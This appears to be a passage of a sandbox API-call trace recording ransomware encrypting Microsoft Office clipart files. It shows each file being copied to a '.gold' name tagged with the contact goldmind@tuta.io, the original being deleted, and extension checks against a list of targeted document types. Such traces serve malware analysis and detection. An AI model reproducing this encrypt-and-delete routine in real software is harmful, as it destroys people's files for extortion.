lstrlenW (lpString="AN04235_.WMF") returned 12 [0049.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.428] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=7804) returned 1 [0049.428] CloseHandle (hObject=0x220) returned 1 [0049.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0049.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.429] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.429] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.429] GetLastError () returned 0x0 [0049.429] ReadFile (in: hFile=0x220, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0049.430] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0049.431] ReadFile (in: hFile=0x220, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.431] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.431] SetEndOfFile (hFile=0x20c) returned 1 [0049.431] CloseHandle (hObject=0x20c) returned 1 [0049.431] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.431] SetEndOfFile (hFile=0x220) returned 1 [0049.432] CloseHandle (hObject=0x220) returned 1 [0049.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0049.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0049.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0049.432] lstrlenW (lpString=".doc") returned 4 [0049.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.432] lstrlenW (lpString=".docx") returned 5 [0049.432] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.432] lstrlenW (lpString=".pdf") returned 4 [0049.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.432] lstrlenW (lpString=".xls") returned 4 [0049.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.433] lstrlenW (lpString=".xlsx") returned 5 [0049.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.433] lstrlenW (lpString=".ppt") returned 4 [0049.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0049.433] lstrlenW (lpString=".zip") returned 4 [0049.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.433] lstrlenW (lpString=".rar") returned 4 [0049.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.433] lstrlenW (lpString=".bz2") returned 4 [0049.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.433] lstrlenW (lpString=".7z") returned 3 [0049.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0049.433] lstrlenW (lpString=".dbf") returned 4 [0049.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0049.433] lstrlenW (lpString=".1cd") returned 4 [0049.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0049.433] lstrlenW (lpString=".jpg") returned 4 [0049.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0049.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0049.433] lstrlenW (lpString=".doc") returned 4 [0049.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.433] lstrlenW (lpString=".docx") returned 5 [0049.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.433] lstrlenW (lpString=".pdf") returned 4 [0049.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.433] lstrlenW (lpString=".xls") returned 4 [0049.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.433] lstrlenW (lpString=".xlsx") returned 5 [0049.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.433] lstrlenW (lpString=".ppt") returned 4 [0049.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0049.433] lstrlenW (lpString=".zip") returned 4 [0049.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.433] lstrlenW (lpString=".rar") returned 4 [0049.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.433] lstrlenW (lpString=".bz2") returned 4 [0049.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.433] lstrlenW (lpString=".7z") returned 3 [0049.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0049.433] lstrlenW (lpString=".dbf") returned 4 [0049.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0049.433] lstrlenW (lpString=".1cd") returned 4 [0049.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0049.433] lstrlenW (lpString=".jpg") returned 4 [0049.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.434] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.434] lstrlenW (lpString="AN04267_.WMF") returned 12 [0049.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.434] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=7804) returned 1 [0049.434] CloseHandle (hObject=0x220) returned 1 [0049.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0049.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.434] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.434] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.434] GetLastError () returned 0x0 [0049.434] ReadFile (in: hFile=0x220, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0049.436] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0049.436] ReadFile (in: hFile=0x220, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.436] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.437] SetEndOfFile (hFile=0x20c) returned 1 [0049.437] CloseHandle (hObject=0x20c) returned 1 [0049.437] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.437] SetEndOfFile (hFile=0x220) returned 1 [0049.437] CloseHandle (hObject=0x220) returned 1 [0049.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0049.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0049.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0049.438] lstrlenW (lpString=".doc") returned 4 [0049.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.438] lstrlenW (lpString=".docx") returned 5 [0049.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.438] lstrlenW (lpString=".pdf") returned 4 [0049.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.438] lstrlenW (lpString=".xls") returned 4 [0049.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.438] lstrlenW (lpString=".xlsx") returned 5 [0049.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.438] lstrlenW (lpString=".ppt") returned 4 [0049.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0049.438] lstrlenW (lpString=".zip") returned 4 [0049.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.438] lstrlenW (lpString=".rar") returned 4 [0049.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.438] lstrlenW (lpString=".bz2") returned 4 [0049.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.438] lstrlenW (lpString=".7z") returned 3 [0049.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0049.438] lstrlenW (lpString=".dbf") returned 4 [0049.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0049.438] lstrlenW (lpString=".1cd") returned 4 [0049.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0049.438] lstrlenW (lpString=".jpg") returned 4 [0049.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0049.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0049.438] lstrlenW (lpString=".doc") returned 4 [0049.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.439] lstrlenW (lpString=".docx") returned 5 [0049.439] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.439] lstrlenW (lpString=".pdf") returned 4 [0049.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.439] lstrlenW (lpString=".xls") returned 4 [0049.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.439] lstrlenW (lpString=".xlsx") returned 5 [0049.439] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.439] lstrlenW (lpString=".ppt") returned 4 [0049.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0049.439] lstrlenW (lpString=".zip") returned 4 [0049.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.439] lstrlenW (lpString=".rar") returned 4 [0049.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.439] lstrlenW (lpString=".bz2") returned 4 [0049.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.439] lstrlenW (lpString=".7z") returned 3 [0049.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0049.439] lstrlenW (lpString=".dbf") returned 4 [0049.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0049.439] lstrlenW (lpString=".1cd") returned 4 [0049.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0049.439] lstrlenW (lpString=".jpg") returned 4 [0049.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.439] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.439] lstrlenW (lpString="AN04269_.WMF") returned 12 [0049.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.439] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=2016) returned 1 [0049.439] CloseHandle (hObject=0x220) returned 1 [0049.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0049.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.440] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.440] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.440] GetLastError () returned 0x0 [0049.440] ReadFile (in: hFile=0x220, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x7e0, lpOverlapped=0x0) returned 1 [0049.441] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0049.442] ReadFile (in: hFile=0x220, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.442] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.442] SetEndOfFile (hFile=0x20c) returned 1 [0049.442] CloseHandle (hObject=0x20c) returned 1 [0049.442] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.442] SetEndOfFile (hFile=0x220) returned 1 [0049.443] CloseHandle (hObject=0x220) returned 1 [0049.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0049.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0049.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0049.443] lstrlenW (lpString=".doc") returned 4 [0049.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.443] lstrlenW (lpString=".docx") returned 5 [0049.443] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.443] lstrlenW (lpString=".pdf") returned 4 [0049.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.443] lstrlenW (lpString=".xls") returned 4 [0049.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.444] lstrlenW (lpString=".xlsx") returned 5 [0049.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.444] lstrlenW (lpString=".ppt") returned 4 [0049.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0049.444] lstrlenW (lpString=".zip") returned 4 [0049.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.444] lstrlenW (lpString=".rar") returned 4 [0049.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.444] lstrlenW (lpString=".bz2") returned 4 [0049.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.444] lstrlenW (lpString=".7z") returned 3 [0049.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0049.444] lstrlenW (lpString=".dbf") returned 4 [0049.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0049.444] lstrlenW (lpString=".1cd") returned 4 [0049.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0049.444] lstrlenW (lpString=".jpg") returned 4 [0049.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0049.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0049.444] lstrlenW (lpString=".doc") returned 4 [0049.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.444] lstrlenW (lpString=".docx") returned 5 [0049.444] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.444] lstrlenW (lpString=".pdf") returned 4 [0049.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.444] lstrlenW (lpString=".xls") returned 4 [0049.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.444] lstrlenW (lpString=".xlsx") returned 5 [0049.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.444] lstrlenW (lpString=".ppt") returned 4 [0049.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0049.444] lstrlenW (lpString=".zip") returned 4 [0049.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.444] lstrlenW (lpString=".rar") returned 4 [0049.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.444] lstrlenW (lpString=".bz2") returned 4 [0049.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.444] lstrlenW (lpString=".7z") returned 3 [0049.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0049.444] lstrlenW (lpString=".dbf") returned 4 [0049.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0049.444] lstrlenW (lpString=".1cd") returned 4 [0049.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0049.444] lstrlenW (lpString=".jpg") returned 4 [0049.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.445] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.445] lstrlenW (lpString="AN04323_.WMF") returned 12 [0049.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.445] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=2492) returned 1 [0049.445] CloseHandle (hObject=0x220) returned 1 [0049.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0049.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft 